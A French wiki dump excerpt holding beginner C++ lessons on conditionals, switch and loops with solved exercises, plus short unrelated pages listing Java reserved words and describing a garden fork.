l'exemple 5 n°3''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 50 <br/>PERDU </ul> === Exemple 6 :Mettre plusieurs instructions dans un if === {{Cadre code|''Exemple 6'' : mettre plusieurs instructions dans un if | <pre> #include <iostream> using namespace std; int main() { int a; cout<<"Tapez une valeur entière : "; cin>>a; if(a==12){cout<<"GAGNE"<<endl;a=a+1;} cout<<"La valeur finale de a vaut "<<a<<endl; return 0; } </pre> }} <ul> <li>Dans ce programme, on demande à l'utilisateur de saisir une valeur entière a. <li>Si a vaut 12 alors on va effectuer dans un premier temps 2 instructions : on affiche "GAGNE" et on incrémente a de 1. On affiche ensuite la valeur de a qui vaudra 13. <li>Si a est différent de 12 on affiche directement la valeur de a qui n'aura pas été modifiée. <li>'''Exécution de l'exemple 6 n°1''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 50 <br/>La valeur finale de a vaut 50 <li>'''Exécution de l'exemple 6 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 12 <br/>GAGNE <br/>La valeur finale de a vaut 13 </ul> ===Exemple 7 : mettre plusieurs instructions dans un if ...else === {{Cadre code|''Exemple 7'' : mettre plusieurs instructions dans un if...else | <pre> #include <iostream> using namesspace std; int main() { int a; cout<<"Tapez une valeur entière : "; cin>>a; if(a!=10){cout<<"GAGNE"<<endl;a=a+1;} else {cout<<"PERDU"<<endl;a=a-1;} cout<<"La valeur finale de a vaut "<<a<<endl; return 0; } </pre> }} <ul> <li>Dans ce programme, on demande à l'utilisateur de saisir une valeur entière a. <li>Si a est différent de 10 alors on va effectuer dans un premier temps 2 instructions : on affiche "GAGNE" et on incrémente a de 1. On affiche ensuite la valeur de a. <li>Si a est égal à 10 alors on va effectuer dans un premier temps 2 instructions : on affiche "PERDU" et on décrémente a de 1. On affiche ensuite la valeur de a. <li>'''Exécution de l'exemple 7 n°1''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 7 <br/>GAGNE <br/>La valeur finale de a vaut 8 <li>'''Exécution de l'exemple 7 n°2''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : 10 <br/>PERDU <br/>La valeur finale de a vaut 9 </ul> ===Le type bool === Il s'agit d'un type de base prédéfini du langage C++. Il permet de stocker une valeur booléenne pouvant prendre 2 valeurs : soit true soit false. Le résultat d’une condition peut être stocké dans un bool. === Exemple 8 : utilisation du type bool === {{Cadre code|''Exemple 8'' : utilisation du type bool | <pre> #include <iostream> using namespace std; int main() { int a; bool c,d; cout<<"Tapez une valeur entière : "; cin>>a; c=(a<3); d=(a>20); if(c||d)cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} <ul> <li>Dans ce programme, nous définissons une variable entière a et 2 variable booléennes c et d. <li>On demande à l'utilisateur de saisir la variable entière a. <li>Dans c, on affecte true si a est strictement plus petit que 3. c vaudra false dans le cas contraire. <li>Dans d, on affecte true si a est strictement plus grand que 20. d vaudra false dans le cas contraire. <li>Si c ou d est vrai, c'est à dire si a est strictement plus petit que 3 ou si a est strictement plus grand que 20 alors on affiche "GAGNE". On affiche perdu dans le cas contraire. <li>'''Exécution de l'exemple 8''' <br/>Lorsqu'on exécute notre programme, il s'affiche à l'écran : <br/>Tapez une valeur entière : -6 <br/>GAGNE </ul> ===Le switch=== '''Syntaxe : '''<br/> <pre> switch(identificateur) { case c1:instruction1; break; case c2:instruction2;break; case c3:instruction3;break; ... default: instruction;break; } </pre> '''Sémantique du switch : '''<br/> On teste la variable définie par l'identificateur. On la compare successivement aux constantes c1, c2, c3,…etc… Si la variable vaut c1 alors on exécute l’instruction1 et on passe à l’instruction suivante. Si elle vaut c2, on exécute l'instruction2 et on passe à l’instruction suivante. Idem s'il vaut c3. Si elle ne vaut ni c1, ni c2, ni c3 alors on exécute l'instruction après default et on passe à l’instruction suivante. Le default est facultatif. On peut remplacer les instructions instruction1, instruction2, instruction3 par des suites d'instructions sans mettre d'accolades. Les valeurs c1, c2,c3 .. sont obligatoirement des constantes. ===Exemple 9 : utilisation du switch=== {{Cadre code|''Exemple 9'' : utilisation du switch | <pre> #include <iostream> using namespace std; int main() { int i; cout<<"Tapez un entier entre 1 et 3 bornes incluses :";cin>>i; switch(i) { case 1: cout<<"GAGNE"<<endl; i=i+99; break; case 2: cout<<"PERDU n° 2"<<endl; i=0; break; case 3: cout<<"PERDU n°3"<<endl; i=0; break; } cout<<"La valeur finale de i est "<<i<<endl; return 0; } </pre> }} <ul> <li>On commence par saisir un entier i. <li>Il y a ensuite une switch qui permet d'effectuer une série d'instructions en fonction de la valeur de i. <li>Les 3 valeurs de i pour lesquelles on effectue une série d'instructions sont 1, 2 et 3. <li>Si i vaut une autre valeur le switch ne fait rien car il n'y a pas de default. <li>'''Exécution 1 de l’exemple 9''' <br/>Tapez un entier entre 1 et 3 bornes incluses :1 <br/>GAGNE La valeur finale de i est 100 <li>'''Exécution 2 de l’exemple 9''' <br/>Tapez un entier entre 1 et 3 bornes incluses :2 <br/>PERDU n°2 <br/>La valeur finale de i est 0 <li>'''Exécution 3 de l’exemple 9''' <br/>Tapez un entier entre 1 et 3 bornes incluses :3 <br/>PERDU n°3 La valeur finale de i est 0 </ul> === Exemple 10 : un autre exemple de switch === {{Cadre code|''Exemple 10'' : un autre exemple de switch | <pre> #include <iostream> using namespace std; int main() { int i; cout<<"Tapez un entier entre 1 et 3 bornes incluses :"; cin>>i; switch(i) { case 1: cout<<"GAGNE"<<endl; i=i+99; break; case 2 : cout<<"PERDU n° 2"<<endl; i=0; break; case 3 : cout<<"PERDU n°3"<<endl; i=0; break; default : cout<<"J'ai dit entre 1 et 3 !!!"<<endl; i=-1000; break; } cout<<"La valeur finale de i est "<<i<<endl; return 0; } </pre> }} <ul> <li>On commence par saisir un entier i. <li>Il y a ensuite une switch qui permet d'effectuer une série d'instructions en fonction de la valeur de i. <li>Les 3 valeurs de i pour lesquelles on effectue une série d'instructions sont 1, 2 et 3. <li>Si i vaut une autre valeur , on exécute l'instruction après default. <li>'''Exécution 1 de l’exemple 10''' <br/>Tapez un entier entre 1 et 3 bornes incluses :1 <br/>GAGNE <br/>La valeur finale de i est 100 <li>'''Exécution 2 de l’exemple 10''' <br/>Tapez un entier entre 1 et 3 bornes incluses :2 <br/>PERDU n°2 <br/>La valeur finale de i est 0 <li>'''Exécution 3 de l’exemple 10''' <br/>Tapez un entier entre 1 et 3 bornes incluses :3 <br/>PERDU n°3 <br/>La valeur finale de i est 0 <li>'''Exécution 4 de l’exemple 10''' <br/>Tapez un entier entre 1 et 3 bornes incluses :5 <br/>J'ai dit entre 1 et 3 !!! <br/>La valeur finale de i est -1000 </ul> ==Exercices == ===EXERCICE 1 === Ecrire un programme qui résout l' équation AX+B=0. Bien évidemment, on n'oubliera pas tous les cas particuliers (notamment les cas "tout x est solution" et "pas de solution"). {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Modélisation d'un problème mathématique simple. *Utilisation de if imbriqués. *L'utilisation de cin et de cout. *L'affectation. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double A,B,X; cout<<"Tapez la valeur de A : ";cin>>A; cout<<"Tapez la valeur de B : ";cin>>B; if(A==0) { if(B==0)cout<<"Tout X est solution"<<endl; else cout<<"Pas de solution"<<endl; } else { X=-B/A; cout<<"1 seule solution : "<<X<<endl; } return 0; } </pre> }} ===EXERCICE 2 === Ecrire un programme qui demande à l'utilisateur de taper 5 entiers et qui affiche le plus grand. Le programme ne devra utiliser que 2 variables. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Recherche du plus grand élément. *Utilisation du if. *L'utilisation de cin et de cout. *L'affectation. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,max; cout<<"Tapez la valeur numero 1 : ";cin>>a;max=a; cout<<"Tapez la valeur numero 2 : ";cin>>a;if(a>max)max=a; cout<<"Tapez la valeur numero 3 : ";cin>>a;if(a>max)max=a; cout<<"Tapez la valeur numero 4 : ";cin>>a;if(a>max)max=a; cout<<"Tapez la valeur numero 5 : ";cin>>a;if(a>max)max=a; cout<<"Le plus grand vaut : "<<max<<endl; return 0; } </pre> }} ===EXERCICE 3 === Ecrire un programme qui résout l’équation ax<sup>2</sub>+bx+c en envisageant tous les cas particuliers. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *L'affectation. *Evaluation d'expressions "complexes". *Utilisation de la bibliothèque cmath. *Structure de if... else imbriquées avec de nombreux cas particuliers. *Proposition d'un jeu de tests complet pour gérer ces cas particuliers. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; #include<cmath> int main() { double A,B,C,X1,X2,d; cout<<"RESOLUTION DE AX2+BX+C=0 "<<endl; cout<<"Tapez la valeur de A : ";cin>>A; cout<<"Tapez la valeur de B : ";cin>>B; cout<<"Tapez la valeur de C : ";cin>>C; if(A==0) { if(B==0) { if(C==0)cout<<"Tout x est solution"<<endl; else cout<<"Pas de solution"<<endl; } else { X1=-C/B; cout<<"Il y a une solution unique :"<<X1<<endl; } } else { d=B*B-4*A*C; if(d<0)cout<<"Pas de solution"<<endl; else if(d==0) { X1=-B/(2*A); cout<<"Il y a une solution double :"<<X1<<endl; } else { X1=(-B-sqrt(d))/(2*A); X2=(-B+sqrt(d))/(2*A); cout<<"Il y a 2 solutions : "<<X1<<" et "<<X2<<endl; } } return 0; } </pre> }} ===EXERCICE 4 === Ecrire un programme qui demande à l’utilisateur de saisir les coordonnées de 4 points A, B, C et D puis qui affiche les informations suivantes : <br/> - si A et B sont confondus, on affiche ‘A et B sont confondus’ <br/> - si C et D sont confondus, on affiche ‘ C et D sont confondus’ <br/> - si A et B ne sont pas confondus et si C et D ne sont pas confondus , on affiche soit ‘AB et CD sont parallèles’, soit 'AB et CD sont confondues', soit ‘AB et CD sont sécantes’. Dans ce dernier cas, on affiche les coordonnées de l'intersection de AB et de CD. <br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *L'affectation. *Structure de if... else imbriquées. *Modélisation d'un problème issu de la géométrie sous forme informatique. *Traiter de manière informatique une suite de calculs mathématiques relativement longue *comportant de nombreux cas particuliers. *Proposition d'un jeu de tests complet pour gérer ces cas particuliers. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double XA,YA,XB,YB,XC,YC,XD,YD,XI,YI; double DX1,DY1,R1,DX2,DY2,R2,K; cout<<"Tapez l'abscisse de A : ";cin>>XA; cout<<"Tapez l'ordonnée de A : ";cin>>YA; cout<<"Tapez l'abscisse de B : ";cin>>XB; cout<<"Tapez l'ordonnée de B : ";cin>>YB; cout<<"Tapez l'abscisse de C : ";cin>>XC; cout<<"Tapez l'ordonnée de C : ";cin>>YC; cout<<"Tapez l'abscisse de D : ";cin>>XD; cout<<"Tapez l'ordonnée de D : ";cin>>YD; DX1=XB-XA; DY1=YB-YA; DX2=XD-XC; DY2=YD-YC; if(DX1==0 && DY1==0) cout<<"A et B sont confondus"<<endl; else if(DX2==0 && DY2==0) cout<<"C et D sont confondus"<<endl; else { K=DX1*DY2-DX2*DY1; if(K==0) { if(DX1*(YC-YA)==DY1*(XC-XA)) cout<<"AB et CD sont confondues."<<endl; else cout<<"AB et CD sont parallèles."<<endl; } else { cout<<"Les droites sont sécantes."<<endl; R1=YA*XB-XA*YB; R2=YC*XD-XC*YD; XI=(R1*DX2-R2*DX1)/K; YI=(R1*DY2-R2*DY1)/K; cout<<"L'abscisse de l'intersection est : "<<XI<<endl; cout<<"L'ordonnée de l'intersection est : "<<YI<<endl; } } return 0; } </pre> }} ===EXERCICE 5 === Ecrire un programme qui demande à l’utilisateur de saisir un entier X et qui affiche la valeur absolue de X. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Utilisation rudimentaire du if...else.... Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int X,V; cout<<"Tapez la valeur de X :";cin>>X; if(X<0)V=-X; else V=X; cout<<"La valeur absolue de X est : "<<V<<endl; return 0; } </pre> }} ===EXERCICE 6 === Ecrire un programme qui demande à l’utilisateur de saisir deux entiers strictement positifs A et B et qui indique si A est divisible par B. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Utilisation du if...else.... *Validation de données. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int A,B; cout<<"Tapez la valeur de A : ";cin>>A; cout<<"Tapez la valeur de B : ";cin>>B; if(A<=0) cout<<"A n'est pas valide !"<<endl; else if(B<=0) cout<<"B n'est pas valide !"<<endl; else if(A%B==0) cout<<A<<" est divisible par "<<B<<endl; else cout<<A<<" n'est pas divisible par "<<B<<endl; return 0; } </pre> }} ===EXERCICE 7 === Ecrire un programme qui demande à l’utilisateur de saisir 3 entiers A, B et C et qui indique si C est compris entre A et B, bornes incluses. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Utilisation du if...else.... *Utilisation des opérateurs logiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int A,B,C; cout<<"Tapez la valeur de A : ";cin>>A; cout<<"Tapez la valeur de B : ";cin>>B; cout<<"Tapez la valeur de C : ";cin>>C; if(C>=A && C<=B) cout<<"C est compris entre A et B"<<endl; else cout<<"C n'est pas compris entre A et B"<<endl; return 0; } </pre> }} ===EXERCICE 8 === Ecrire un programme qui demande à l’utilisateur de saisir 4 entiers A, B, C et D, puis qui indique quelle est l'intersection des intervalles [AB] et [CD]. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Utilisation du if...else.... *Utilisation des opérateurs logiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { double A,B,C,D,E,F; cout<<"Tapez la valeur de A : ";cin>>A; cout<<"Tapez la valeur de B : ";cin>>B; cout<<"Tapez la valeur de C : ";cin>>C; cout<<"Tapez la valeur de D : ";cin>>D; if(A>C)E=A; else E=C; if(B>D)F=D; else F=B; if(E>F) cout<<"L'intersection est vide."<<endl; else if(E==F)cout<<"L'intersection ne comporte qu'une valeur :"<<E<<endl; else cout<<"L'intersection est l'intervalle ["<<E<<";"<<F<<"]"<<endl; return 0; } </pre> }} ===EXERCICE 9 === Ecrire un programme qui demande à l’utilisateur de saisir un entier A puis qui affiche "ERREUR" si A n'est pas un nombre impair compris entre 83 et 101 bornes incluses. Dans le cas contraire, on affiche "PAS D'ERREUR". {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Utilisation du if...else.... *Utilisation des opérateurs logiques. *Proposition d'un jeu de tests complet. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int A; cout<<"Tapez la valeur de A : ";cin>>A; if(A%2==0 || A<83 || A>101) cout<<"ERREUR"<<endl; else cout<<"PAS D'ERREUR"<<endl; return 0; } </pre> }} Programmation Java Liste des mots réservés 6482 43698 2006-06-01T13:24:25Z 194.206.28.162 {{Programmation Java}} Voici la liste des mots-réservés à la programmation en Java: {|border=1 |abstract||boolean||break||byte||byvalue||case |- |cast||catch||char||class||const||continue |- |default||do||double||else||extends||false |- |final||finally||float||for||future||generic |- |goto||if||implements||import||inner||instanceof |- |int||interface||long||native||new||null |- |operator||outer||package||private||protected||public |- |rest||return||short||static||strictfp||super |- |switch||synchronized||this||throw||throws||transient |- |true||try||var||void||volatile||while |} Fourche 6488 29173 2006-01-17T16:54:58Z Zivax 1021 [[Catégorie:Outil de jardinage]] {{ébauche}} Une '''fourche''' est un [[Outils de jardinage|outil de jardin]] servant à transporter des matières organiques (en général le fumier de cheval ou de la paille) , des détritus (feuilles, etc..) , ou des produits en surplus à ramasser sans préciosité (légumes, fruits, etc...). Cet outil comporte un manche d'environ 1,50 mètre, le plus souvent en bois qui possède en son extrémité (emmanché en force et bloqué à l’aide d’un coin) des dents de section circulaire légèrement courbes en acier trempé, au nombre de cinq ou six. Cet outil travaille par pénétrer enfourchement ou pénétration, en poussée brusque pour engager les dents de l’outil dans les matières à transporter. Programmation C++ (débutant)/Instructions for, while et do...while 6489 40539 2006-04-18T18:31:27Z 69.70.161.103 /* Exemple 1 : utilisation du for */ {{C++ débutant}} == Le cours du chapitre 4 : le for, while et do...while == __TOC__ === La notion de boucles === Dans ce chapitre, nous allons étudier les structures de contrôle permettant d'effectuer des boucles : le for, le while et le do…while. On parle de boucles lorsqu'on répète l'exécution d'une série d'instructions à l'intérieur d'un programme. La notion de boucle est une des notions à la base de toute l'algorithmique. === Le for === Le for est une structure de contrôle qui permet de répéter un certain nombre de fois une partie d'un programme. <br/>'''Syntaxe :''' <pre> for(instruction1; condition; instruction2) instruction3; </pre> '''Sémantique du for :'''<br/> 1) on exécute l’instruction1<br/> 2) On teste la condition :<br/> - si elle est vraie, on exécute l’instruction3, puis l’instrution2 puis on revient au 2).<br/> - si elle est fausse on passe à l’instruction suivante.<br/> L’instruction3 peut être une suite d ’instructions entre accolades. === Exemple 1 : utilisation du for=== <pre> #include <iostream> using namespace std; int main() { int i; for(i=0;i<10;i=i+1) cout<<"BONJOUR"<<endl; return 0; } </pre> * Dans ce programme, il y a une boucle de type for : ** L'instruction 1 est : i=0 ** L'instruction 2 est : i=i+1 ** Le corps du for comporte une seule instruction : cout<<"BONJOUR"<<endl; *'''Exécution pas à pas de l’exemple 1''' ** i vaut 0 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=0 ** On exécute i=i+1 ==> i vaut 1 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=1 ** On exécute i=i+1 ==> i vaut 2 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=2 ** On exécute i=i+1 ==> i vaut 3 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=3 ** On exécute i=i+1 ==> i vaut 4 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=4 ** On exécute i=i+1 ==> i vaut 5 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=5 ** On exécute i=i+1 ==> i vaut 6 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=6 ** On exécute i=i+1 ==> i vaut 7 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=7 ** On exécute i=i+1 ==> i vaut 8 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=8 ** On exécute i=i+1 ==> i vaut 9 ** Le test i<10 est vrai ==> on exécute le corps du for avec i=9 ** On exécute i=i+1 ==> i vaut 10 ** Le test i<10 est faux ==> on sort du for avec i=10 *'''Résumé de l’exemple 1''' ** On a exécuté 10 fois le corps du for. ** Le programme affiche donc 10 fois bonjour à l’écran.</pre> === Exemple 2 : un deuxième exemple de for === <pre> #include <iostream> using namespace std; int main() { int i; for(i=0;i<10;i=i+1) cout<<"La valeur de i est : "<<i<<endl; cout<<"La valeur finale de i est : "<<i<<endl; return 0; } </pre> * '''Dans ce programme, il y a une boucle de type for :''' **L'instruction 1 est : i=0 **La condition est : i<10 **L'instruction 2 est : i=i+1 ** Le corps du for comporte une seule instruction : cout<<"La valeur finale de i est : "<<i<<endl; ** On a exécuté 10 fois le corps du for : **La première fois avec i valant 0. **La dernière fois avec i valant 9. ** On quitte le for avec i valant 10. *'''Exécution de l’exemple 2''' <br/>La valeur de i est : 0 <br/>La valeur de i est : 1 <br/>La valeur de i est : 2 <br/>La valeur de i est : 3 <br/>La valeur de i est : 4 <br/>La valeur de i est : 5 <br/>La valeur de i est : 6 <br/>La valeur de i est : 7 <br/>La valeur de i est : 8 <br/>La valeur de i est : 9 <br/>La valeur finale de i est : 10 === Exemple 3 : encore un exemple de for !=== <pre> #include <iostream> using namespace std; int main() { int i; for(i=8;i<=18;i++) cout<<"La valeur de i est : "<<i<<endl; cout<<"La valeur finale de i est : "<<i<<endl; return 0; } </pre> * '''On a une boucle de type for ''' **on va exécuter le corps de la boucle la première fois avec i valant 8, la dernière fois avec i valant 18. ** Lorsqu'on quitte le for, i vaut 19. *'''Exécution de l’exemple 3''' La valeur de i est : 8<br/> La valeur de i est : 9<br/> La valeur de i est : 10<br/> La valeur de i est : 11<br/> La valeur de i est : 12<br/> La valeur de i est : 13<br/> La valeur de i est : 14<br/> La valeur de i est : 15<br/> La valeur de i est : 16<br/> La valeur de i est : 17<br/> La valeur de i est : 18<br/> La valeur finale de i est : 19 <br/> === Exemple 4 : un for décroissant === <pre> #include <iostream> using namespace std; int main() { int i; for(i=10;i>3;i--) cout<<"La valeur de i est : "<<i<<endl; cout<<"La valeur finale de i est : "<<i<<endl; return 0; } </pre> *'''Explication du for''' ** Cette fois-ci, à chaque étape on effectue i--, c'est-à-dire on décrémente i de 1. ** On va donc exécuter le corps du for la première fois avec i valant 10, la dernière fois avec i valant 4. ** Lorsqu'on quitte le for, i vaut 3. *'''Exécution de l’exemple 4''' <br/>La valeur de i est : 10<br/> La valeur de i est : 9<br/> La valeur de i est : 8<br/> La valeur de i est : 7<br/> La valeur de i est : 6<br/> La valeur de i est : 5<br/> La valeur de i est : 4<br/> La valeur finale de i est : 3<br/> ===Exemple 5 : un for de 2 en 2 === <pre> #include <iostream> using namespace std; int main() { int i; for(i=10;i<20;i=i+2) cout<<"La valeur de i est : "<<i<<endl; cout<<"La valeur finale de i est : "<<i<<endl; return 0; } </pre> *'''Explication du for''' ** Cette fois-ci, à chaque étape, on ajoute 2 à i. ** i va donc valoir successivement 10,12, 14, 16 et 18. ** Lorsque i vaut 20, la condition devient fausse et on quitte la for. *'''Exécution de l’exemple 5'''<br/> La valeur de i est : 10<br/> La valeur de i est : 12<br/> La valeur de i est : 14<br/> La valeur de i est : 16<br/> La valeur de i est : 18<br/> La valeur finale de i est : 20<br/> ===Exemple 6 : un for qui ne s'arrête jamais=== <pre> #include <iostream> using namespace std; int main() { int i; for(i=10;i>3;i++) cout<<"La valeur de i est : "<<i<<endl; cout<<"La valeur finale de i est : "<<i<<endl; return 0; } </pre> *'''Explications du for''' ** La valeur initiale de i est 10. ** A chaque étape, on exécute i++. ** La valeur de i sera toujours plus grande que 3. ** La condition i>3 est toujours vraie ==> le for ne s’arrête jamais. ** Le programmeur voulait certainement écrire i=i-1; au lieu de i++. *'''Exécution de l’exemple 6'''<br/> La valeur de i est : 10<br/> La valeur de i est : 11<br/> La valeur de i est : 12<br/> La valeur de i est : 13<br/> La valeur de i est : 14 ... <br/> ===Le while=== '''Syntaxe : '''while(condition)instruction;<br/> '''Sémantique du while :'''<br/> 1) On teste la condition :<br/> 2) si elle est vraie, on exécute l’instruction puis on recommence au 1).<br/> 3) si elle est fausse, on passe à l’instruction suivante.<br/> L’instruction peut être une suite d ’instructions entre accolades. === Exemple 7 : un exemple de while === <pre> #include <iostream> using namespace std; int main() { int i=0; while(i<10) { cout<<"La valeur de i vaut : "<<i<<endl; i++; } cout<<"La valeur finale de i vaut : "<<i<<endl; return 0; } </pre> *'''Explications''' ** La variable i est initialisée à 0. ** A chaque étape, à la fin du corps du while, on incrémente i de 1. ** On exécute donc le corps du while la première fois avec i valant 0, la dernière fois avec i valant 9. ** Lorsqu’on sort du while i vaut 10. *'''Exécution de l’exemple 7'''<br/> La valeur de i est : 0<br/> La valeur de i est : 1<br/> La valeur de i est : 2 <br/> La valeur de i est : 3 <br/> La valeur de i est : 4 <br/> La valeur de i est : 5 <br/> La valeur de i est : 6 <br/> La valeur de i est : 7 <br/> La valeur de i est : 8 <br/> La valeur de i est : 9 <br/> La valeur finale de i est : 10 <br/> ===Exemple 8 : valider une donnée saisie au clavier=== <pre> #include <iostream> using namespace std; int main() { int i; cout <<"Tapez une valeur entre 0 et 20 bornes incluses : "; cin>>i; while ( i<0 || i>20) { cout<<"ERREUR ! "; cout <<"Tapez une valeur entre 0 et 20 bornes incluses : "; cin>>i; } return 0; } </pre> *'''Explications''' ** On saisit une première fois la valeur de i par un cin. ** Tant que la valeur saisie est ne sera pas comprise entre 0 et 20 (bornes incluses), on affiche ERREUR et on redemande une nouvelle valeur. ** La condition « la valeur de i n'est pas comprise entre 0 et 20 » s’écrit ( i<0 || i>20 ). ** Ne pas confondre le ET et le OU logique ! *'''Exécution de l’exemple 8''' Tapez une valeur entre 0 et 20 bornes incluses : 30<br/> ERREUR ! Tapez une valeur entre 0 et 20 bornes incluses : -2<br/> ERREUR ! Tapez une valeur entre 0 et 20 bornes incluses : 10 <br/> ===Conseil === On utilisera le for lorsqu’on connaît le nombre d’étapes à réaliser. On utilisera un while dans le cas contraire. Dans tous les cas, il faut toujours vérifier si on exécute notre boucle le bon nombre de fois. Il faudra vérifier dans tous les cas que notre boucle n'est pas infinie. ===Le do...while=== <br/>'''Syntaxe : '''do {instruction; } while(condition);<br/> '''Sémantique du do … while :'''<br/> 1) on exécute l’instruction.<br/> 2) on évalue la condition.<br/> 3) si elle est vraie, on recommence au 1.<br/> 4) si elle est fausse, on passe à l ’instruction suivante.<br/> === Exemple 9 : un exemple de do...while === <pre> #include <iostream> using namesapce std; int main() { int i=0; do { cout<<"La valeur de i vaut : "<<i<<endl; i=i+1; }while(i<10); cout<<"La valeur finale de i est "<<i<<endl; return 0; } </pre> '''Exécution de l’exemple 9'''<br/> La valeur de i vaut : 0<br/> La valeur de i vaut : 1<br/> La valeur de i vaut : 2 <br/> La valeur de i vaut : 3 <br/> La valeur de i vaut : 4 <br/> La valeur de i vaut : 5 <br/> La valeur de i vaut : 6 <br/> La valeur de i vaut : 7 <br/> La valeur de i vaut : 8 <br/> La valeur de i vaut : 9 <br/> La valeur finale de i est : 10 <br/> ===Récapitulatif des structures de contrôle=== Le if et le if … else ne permettent pas de répéter un bout de programme.<br/> Le switch est un if …else amélioré et ne permet pas non plus de répéter un bout de programme.<br/> Le for, le while et le do … while permettent de construire des boucles répétitives.<br/> Attention aux boucles infinies !<br/> ===Utilisation des structures de contrôle=== Au delà de ces exemples pédagogiques, la difficulté d'utilisation de ces structures provient de la difficulté à partir d'un problème donné d'imaginer une solution sous forme d'un algorithme puis de trouver les structures de contrôle adaptées pour implémenter cet algorithme. Beaucoup de pratique et de travail sont nécessaires pour mettre en œuvre ce processus mental complexe. == Exercices sur les structures de contrôle== ===EXERCICE 1 === Ecrire un programme qui demande à l'utilisateur de taper un entier et qui affiche GAGNE si l'entier est entre 56 et 78 bornes incluses PERDU sinon. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation de cin et de cout. *Le choix d'une structure de contrôle adaptée au problème ! Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a; cout<<"Tapez un entier : ";cin>>a; if((a>=56)&&(a<=78))cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> }} ===EXERCICE 2 === Ecrire un programme qui affiche tous les entiers de 8 jusqu’à 23 (bornes incluses) en utilisant un for. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation rudimentaire d'un for. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i; for(i=8;i<=23;i++)cout<<i<<endl; return 0; } </pre> }} ===EXERCICE 3 === Même exercice mais en utilisant un while. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation rudimentaire d'un while. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i=8; while(i<=23) { cout<<i<<endl; i++; } return 0; } </pre> }} ===EXERCICE 4 === Ecrire un programme qui demande à l’utilisateur de taper 10 entiers et qui affiche leur somme. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un algorithme usuel : calcul d'une somme. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,s=0,x; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; s=s+x; } cout<<"La somme vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 5 === Ecrire un programme qui demande à l’utilisateur de taper 10 entiers et qui affiche le plus petit de ces entiers. {{Boîte déroulante|titre=Solution|contenu = Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,ppt,x; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; if(i==0)ppt=x;else if(x<ppt)ppt=x; } cout<<"Le plus petit vaut vaut : "<<ppt<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule la somme des cubes de 5^3 à N^3. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul d'une somme. *Modélisation d'un problème simple issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,s=0,i; cout<<"Tapez la valeur de N : ";cin>>N; for( i=5 ; i<=N ; i++ ) s=s+i*i*i; cout<<"La somme vaut : "<<s<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par : <br/> u(0)=3<br/> u(n+1)=3.u(n)+4<br/> {{Boîte 